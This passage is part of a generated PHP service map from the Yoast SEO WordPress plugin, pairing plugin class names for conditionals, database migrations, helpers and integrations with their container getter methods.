'getIndexableBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder' => 'getIndexableDateArchiveBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder' => 'getIndexableHierarchyBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder' => 'getIndexableHomePageBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder' => 'getIndexableLinkBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder' => 'getIndexablePostBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder' => 'getIndexablePostTypeArchiveBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder' => 'getIndexableSystemPageBuilderService', 'Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder' => 'getIndexableTermBuilderService', 'Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder' => 'getPrimaryTermBuilderService', 'Yoast\\WP\\SEO\\Commands\\Cleanup_Command' => 'getCleanupCommandService', 'Yoast\\WP\\SEO\\Commands\\Index_Command' => 'getIndexCommandService', 'Yoast\\WP\\SEO\\Conditionals\\AI_Conditional' => 'getAIConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\AI_Editor_Conditional' => 'getAIEditorConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional' => 'getAddonInstallationConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Doing_Post_Quick_Edit_Save_Conditional' => 'getDoingPostQuickEditSaveConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Estimated_Reading_Time_Conditional' => 'getEstimatedReadingTimeConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Licenses_Page_Conditional' => 'getLicensesPageConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Non_Network_Admin_Conditional' => 'getNonNetworkAdminConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional' => 'getPostConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Posts_Overview_Or_Ajax_Conditional' => 'getPostsOverviewOrAjaxConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Yoast_Admin_Conditional' => 'getYoastAdminConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional' => 'getAdminConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Attachment_Redirections_Enabled_Conditional' => 'getAttachmentRedirectionsEnabledConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional' => 'getCheckRequiredVersionConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Deactivating_Yoast_Seo_Conditional' => 'getDeactivatingYoastSeoConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Development_Conditional' => 'getDevelopmentConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Dynamic_Product_Permalinks_Conditional' => 'getDynamicProductPermalinksConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional' => 'getFrontEndConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional' => 'getGetRequestConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Google_Site_Kit_Feature_Conditional' => 'getGoogleSiteKitFeatureConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Headless_Rest_Endpoints_Enabled_Conditional' => 'getHeadlessRestEndpointsEnabledConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Import_Tool_Selected_Conditional' => 'getImportToolSelectedConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional' => 'getJetpackConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Migrations_Conditional' => 'getMigrationsConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional' => 'getNewSettingsUiConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\News_Conditional' => 'getNewsConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\No_Tool_Selected_Conditional' => 'getNoToolSelectedConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Non_Multisite_Conditional' => 'getNonMultisiteConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Not_Admin_Ajax_Conditional' => 'getNotAdminAjaxConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Open_Graph_Conditional' => 'getOpenGraphConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Premium_Active_Conditional' => 'getPremiumActiveConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Premium_Inactive_Conditional' => 'getPremiumInactiveConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Primary_Category_Conditional' => 'getPrimaryCategoryConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Robots_Txt_Conditional' => 'getRobotsTxtConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\SEMrush_Enabled_Conditional' => 'getSEMrushEnabledConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Schema_Disabled_Conditional' => 'getSchemaDisabledConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Settings_Conditional' => 'getSettingsConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Should_Index_Links_Conditional' => 'getShouldIndexLinksConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Task_List_Enabled_Conditional' => 'getTaskListEnabledConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional' => 'getTextFormalityConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\EDD_Conditional' => 'getEDDConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional' => 'getElementorActivatedConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Edit_Conditional' => 'getElementorEditConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional' => 'getPolylangConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Site_Kit_Conditional' => 'getSiteKitConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional' => 'getTranslatePressConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\W3_Total_Cache_Conditional' => 'getW3TotalCacheConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional' => 'getWPMLConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional' => 'getWPMLWPSEOConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional' => 'getUpdatedImporterFrameworkConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\User_Can_Edit_Users_Conditional' => 'getUserCanEditUsersConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional' => 'getUserCanManageWpseoOptionsConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\User_Can_Publish_Posts_And_Pages_Conditional' => 'getUserCanPublishPostsAndPagesConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\User_Edit_Conditional' => 'getUserEditConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\User_Profile_Conditional' => 'getUserProfileConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional' => 'getWPCRONEnabledConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\WP_Robots_Conditional' => 'getWPRobotsConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\WP_Tests_Conditional' => 'getWPTestsConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Web_Stories_Conditional' => 'getWebStoriesConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Wincher_Automatically_Track_Conditional' => 'getWincherAutomaticallyTrackConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Wincher_Conditional' => 'getWincherConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional' => 'getWincherEnabledConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Wincher_Token_Conditional' => 'getWincherTokenConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional' => 'getWooCommerceConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Version_Conditional' => 'getWooCommerceVersionConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Woo_SEO_Inactive_Conditional' => 'getWooSEOInactiveConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\XMLRPC_Conditional' => 'getXMLRPCConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional' => 'getYoastAdminAndDashboardConditionalService', 'Yoast\\WP\\SEO\\Conditionals\\Yoast_Tools_Page_Conditional' => 'getYoastToolsPageConditionalService', 'Yoast\\WP\\SEO\\Config\\Badge_Group_Names' => 'getBadgeGroupNamesService', 'Yoast\\WP\\SEO\\Config\\Conflicting_Plugins' => 'getConflictingPluginsService', 'Yoast\\WP\\SEO\\Config\\Indexing_Reasons' => 'getIndexingReasonsService', 'Yoast\\WP\\SEO\\Config\\Migration_Status' => 'getMigrationStatusService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables' => 'getAddCollationToTablesService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables' => 'getAddColumnsToIndexablesService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime' => 'getAddEstimatedReadingTimeService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn' => 'getAddHasAncestorsColumnService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore' => 'getAddInclusiveLanguageScoreService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex' => 'getAddIndexableObjectIdAndTypeIndexService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables' => 'getAddIndexesForProminentWordsOnIndexablesService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps' => 'getAddObjectTimestampsService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddSeoLinksIndex' => 'getAddSeoLinksIndexService', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables' => 'getAddVersionColumnToIndexablesService', 'Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset' => 'getBreadcrumbTitleAndHierarchyResetService', 'Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables' => 'getClearIndexableTablesService', 'Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex' => 'getCreateIndexableSubpagesIndexService', 'Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable' => 'getCreateSEOLinksTableService', 'Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables' => 'getDeleteDuplicateIndexablesService', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths' => 'getExpandIndexableColumnLengthsService', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths' => 'getExpandIndexableIDColumnLengthsService', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths' => 'getExpandPrimaryTermIDColumnLengthsService', 'Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex' => 'getReplacePermalinkHashIndexService', 'Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable' => 'getResetIndexableHierarchyTableService', 'Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables' => 'getTruncateIndexableTablesService', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists' => 'getWpYoastDropIndexableMetaTableIfExistsService', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable' => 'getWpYoastIndexableService', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy' => 'getWpYoastIndexableHierarchyService', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm' => 'getWpYoastPrimaryTermService', 'Yoast\\WP\\SEO\\Config\\Researcher_Languages' => 'getResearcherLanguagesService', 'Yoast\\WP\\SEO\\Config\\SEMrush_Client' => 'getSEMrushClientService', 'Yoast\\WP\\SEO\\Config\\Schema_IDs' => 'getSchemaIDsService', 'Yoast\\WP\\SEO\\Config\\Schema_Types' => 'getSchemaTypesService', 'Yoast\\WP\\SEO\\Config\\Wincher_Client' => 'getWincherClientService', 'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions' => 'getContentTypeVisibilityWatcherActionsService', 'Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route' => 'getContentTypeVisibilityDismissNewRouteService', 'Yoast\\WP\\SEO\\Context\\Meta_Tags_Context' => 'getMetaTagsContextService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Capabilities_Integration' => 'getSiteKitCapabilitiesIntegrationService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Configuration_Dismissal_Route' => 'getSiteKitConfigurationDismissalRouteService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Consent_Management_Route' => 'getSiteKitConsentManagementRouteService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route' => 'getReadabilityScoresRouteService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route' => 'getSEOScoresRouteService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Setup\\Setup_Flow_Interceptor' => 'getSetupFlowInterceptorService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Setup\\Setup_Url_Interceptor' => 'getSetupUrlInterceptorService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Time_Based_SEO_Metrics\\Time_Based_SEO_Metrics_Route' => 'getTimeBasedSEOMetricsRouteService', 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Tracking\\Setup_Steps_Tracking_Route' => 'getSetupStepsTrackingRouteService', 'Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository' => 'getEnabledAnalysisFeaturesRepositoryService', 'Yoast\\WP\\SEO\\Editors\\Application\\Integrations\\Integration_Information_Repository' => 'getIntegrationInformationRepositoryService', 'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Post_Seo_Information_Repository' => 'getPostSeoInformationRepositoryService', 'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Term_Seo_Information_Repository' => 'getTermSeoInformationRepositoryService', 'Yoast\\WP\\SEO\\Editors\\Application\\Site\\Website_Information_Repository' => 'getWebsiteInformationRepositoryService', 'Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration' => 'getGeneralPageIntegrationService', 'Yoast\\WP\\SEO\\General\\User_Interface\\Opt_In_Route' => 'getOptInRouteService', 'Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator' => 'getBreadcrumbsGeneratorService', 'Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator' => 'getOpenGraphImageGeneratorService', 'Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator' => 'getOpenGraphLocaleGeneratorService', 'Yoast\\WP\\SEO\\Generators\\Schema\\Article' => 'getArticleService', 'Yoast\\WP\\SEO\\Generators\\Schema\\Author' => 'getAuthorService', 'Yoast\\WP\\SEO\\Generators\\Schema\\Breadcrumb' => 'getBreadcrumbService', 'Yoast\\WP\\SEO\\Generators\\Schema\\FAQ' => 'getFAQService', 'Yoast\\WP\\SEO\\Generators\\Schema\\HowTo' => 'getHowToService', 'Yoast\\WP\\SEO\\Generators\\Schema\\Main_Image' => 'getMainImageService', 'Yoast\\WP\\SEO\\Generators\\Schema\\Organization' => 'getOrganizationService', 'Yoast\\WP\\SEO\\Generators\\Schema\\Person' => 'getPersonService', 'Yoast\\WP\\SEO\\Generators\\Schema\\WebPage' => 'getWebPageService', 'Yoast\\WP\\SEO\\Generators\\Schema\\Website' => 'getWebsiteService', 'Yoast\\WP\\SEO\\Generators\\Schema_Generator' => 'getSchemaGeneratorService', 'Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator' => 'getTwitterImageGeneratorService', 'Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper' => 'getAioseoHelperService', 'Yoast\\WP\\SEO\\Helpers\\Asset_Helper' => 'getAssetHelperService', 'Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper' => 'getAttachmentCleanupHelperService', 'Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper' => 'getAuthorArchiveHelperService', 'Yoast\\WP\\SEO\\Helpers\\Blocks_Helper' => 'getBlocksHelperService', 'Yoast\\WP\\SEO\\Helpers\\Capability_Helper' => 'getCapabilityHelperService', 'Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper' => 'getCrawlCleanupHelperService', 'Yoast\\WP\\SEO\\Helpers\\Curl_Helper' => 'getCurlHelperService', 'Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper' => 'getCurrentPageHelperService', 'Yoast\\WP\\SEO\\Helpers\\Date_Helper' => 'getDateHelperService', 'Yoast\\WP\\SEO\\Helpers\\Environment_Helper' => 'getEnvironmentHelperService', 'Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper' => 'getFirstTimeConfigurationNoticeHelperService', 'Yoast\\WP\\SEO\\Helpers\\Home_Url_Helper' => 'getHomeUrlHelperService', 'Yoast\\WP\\SEO\\Helpers\\Image_Helper' => 'getImageHelperService', 'Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper' => 'getImportCursorHelperService', 'Yoast\\WP\\SEO\\Helpers\\Import_Helper' => 'getImportHelperService', 'Yoast\\WP\\SEO\\Helpers\\Indexable_Helper' => 'getIndexableHelperService', 'Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper' => 'getIndexableToPostmetaHelperService', 'Yoast\\WP\\SEO\\Helpers\\Indexing_Helper' => 'getIndexingHelperService', 'Yoast\\WP\\SEO\\Helpers\\Language_Helper' => 'getLanguageHelperService', 'Yoast\\WP\\SEO\\Helpers\\Meta_Helper' => 'getMetaHelperService', 'Yoast\\WP\\SEO\\Helpers\\Notification_Helper' => 'getNotificationHelperService', 'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper' => 'getImageHelper2Service', 'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper' => 'getValuesHelperService', 'Yoast\\WP\\SEO\\Helpers\\Options_Helper' => 'getOptionsHelperService', 'Yoast\\WP\\SEO\\Helpers\\Pagination_Helper' => 'getPaginationHelperService', 'Yoast\\WP\\SEO\\Helpers\\Permalink_Helper' => 'getPermalinkHelperService', 'Yoast\\WP\\SEO\\Helpers\\Post_Helper' => 'getPostHelperService', 'Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper' => 'getPostTypeHelperService', 'Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper' => 'getPrimaryTermHelperService', 'Yoast\\WP\\SEO\\Helpers\\Product_Helper' => 'getProductHelperService', 'Yoast\\WP\\SEO\\Helpers\\Redirect_Helper' => 'getRedirectHelperService', 'Yoast\\WP\\SEO\\Helpers\\Request_Helper' => 'getRequestHelperService', 'Yoast\\WP\\SEO\\Helpers\\Require_File_Helper' => 'getRequireFileHelperService', 'Yoast\\WP\\SEO\\Helpers\\Robots_Helper' => 'getRobotsHelperService', 'Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper' => 'getRobotsTxtHelperService', 'Yoast\\WP\\SEO\\Helpers\\Route_Helper' => 'getRouteHelperService', 'Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper' => 'getSanitizationHelperService', 'Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper' => 'getArticleHelperService', 'Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper' => 'getHTMLHelperService', 'Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper' => 'getIDHelperService', 'Yoast\\WP\\SEO\\Helpers\\Schema\\Image_Helper' => 'getImageHelper3Service', 'Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper' => 'getLanguageHelper2Service', 'Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper' => 'getReplaceVarsHelperService', 'Yoast\\WP\\SEO\\Helpers\\Score_Icon_Helper' => 'getScoreIconHelperService', 'Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper' => 'getShortLinkHelperService', 'Yoast\\WP\\SEO\\Helpers\\Site_Helper' => 'getSiteHelperService', 'Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper' => 'getSocialProfilesHelperService', 'Yoast\\WP\\SEO\\Helpers\\String_Helper' => 'getStringHelperService', 'Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper' => 'getTaxonomyHelperService', 'Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper' => 'getImageHelper4Service', 'Yoast\\WP\\SEO\\Helpers\\Url_Helper' => 'getUrlHelperService', 'Yoast\\WP\\SEO\\Helpers\\User_Helper' => 'getUserHelperService', 'Yoast\\WP\\SEO\\Helpers\\Wincher_Helper' => 'getWincherHelperService', 'Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper' => 'getWoocommerceHelperService', 'Yoast\\WP\\SEO\\Helpers\\Wordpress_Helper' => 'getWordpressHelperService', 'Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper' => 'getWpdbHelperService', 'Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks' => 'getCrawlCleanupPermalinksService', 'Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps' => 'getDisableCoreSitemapsService', 'Yoast\\WP\\SEO\\Initializers\\Migration_Runner' => 'getMigrationRunnerService', 'Yoast\\WP\\SEO\\Initializers\\Plugin_Headers' => 'getPluginHeadersService', 'Yoast\\WP\\SEO\\Initializers\\Silence_Load_Textdomain_Just_In_Time_Notices' => 'getSilenceLoadTextdomainJustInTimeNoticesService', 'Yoast\\WP\\SEO\\Initializers\\Woocommerce' => 'getWoocommerceService', 'Yoast\\WP\\SEO\\Integrations\\Academy_Integration' => 'getAcademyIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration' => 'getActivationCleanupIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration' => 'getDialogIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration' => 'getInstallationIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration' => 'getAdminColumnsCacheIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration' => 'getBackgroundIndexingIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Brand_Insights_Page' => 'getBrandInsightsPageService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version' => 'getCheckRequiredVersionService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration' => 'getCrawlSettingsIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration' => 'getCronIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration' => 'getDeactivatedPremiumIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration' => 'getFirstTimeConfigurationIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration' => 'getFirstTimeConfigurationNoticeIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration' => 'getFixNewsDependenciesIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration' => 'getHealthCheckIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon' => 'getHelpScoutBeaconService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration' => 'getImportIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration' => 'getIndexablesExcludeTaxonomyIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration' => 'getIndexingNotificationIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration' => 'getIndexingToolIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration' => 'getInstallationSuccessIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page' => 'getIntegrationsPageService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration' => 'getLinkCountColumnsIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration' => 'getMenuBadgeIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration' => 'getMigrationErrorIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration' => 'getOldConfigurationIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration' => 'getRedirectIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirections_Tools_Page' => 'getRedirectionsToolsPageService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration' => 'getRedirectsPageIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice' => 'getUnsupportedPHPVersionNoticeService', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration' => 'getWorkoutsIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Ai_Generator_Tip_Notification' => 'getAiGeneratorTipNotificationService', 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification' => 'getBlackFridayProductEditorChecklistNotificationService', 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification' => 'getBlackFridayPromotionNotificationService', 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification' => 'getBlackFridaySidebarChecklistNotificationService', 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification' => 'getTrustpilotReviewNotificationService', 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification' => 'getWebinarPromoNotificationService', 'Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration' => 'getBlockEditorIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block' => 'getBreadcrumbsBlockService', 'Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category' => 'getInternalLinkingCategoryService', 'Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks' => 'getStructuredDataBlocksService', 'Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration' => 'getBreadcrumbsIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration' => 'getCleanupIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time' => 'getEstimatedReadingTimeService', 'Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type' => 'getExcludeAttachmentPostTypeService', 'Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type' => 'getExcludeOembedCachePostTypeService', 'Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration' => 'getFeatureFlagIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility' => 'getBackwardsCompatibilityService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description' => 'getCategoryTermDescriptionService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer' => 'getCommentLinkFixerService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic' => 'getCrawlCleanupBasicService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss' => 'getCrawlCleanupRssService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches' => 'getCrawlCleanupSearchesService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements' => 'getFeedImprovementsService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title' => 'getForceRewriteTitleService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404' => 'getHandle404Service', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls' => 'getIndexingControlsService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed' => 'getOpenGraphOEmbedService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed' => 'getRSSFooterEmbedService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects' => 'getRedirectsService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration' => 'getRobotsTxtIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature' => 'getSchemaAccessibilityFeatureService', 'Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration' => 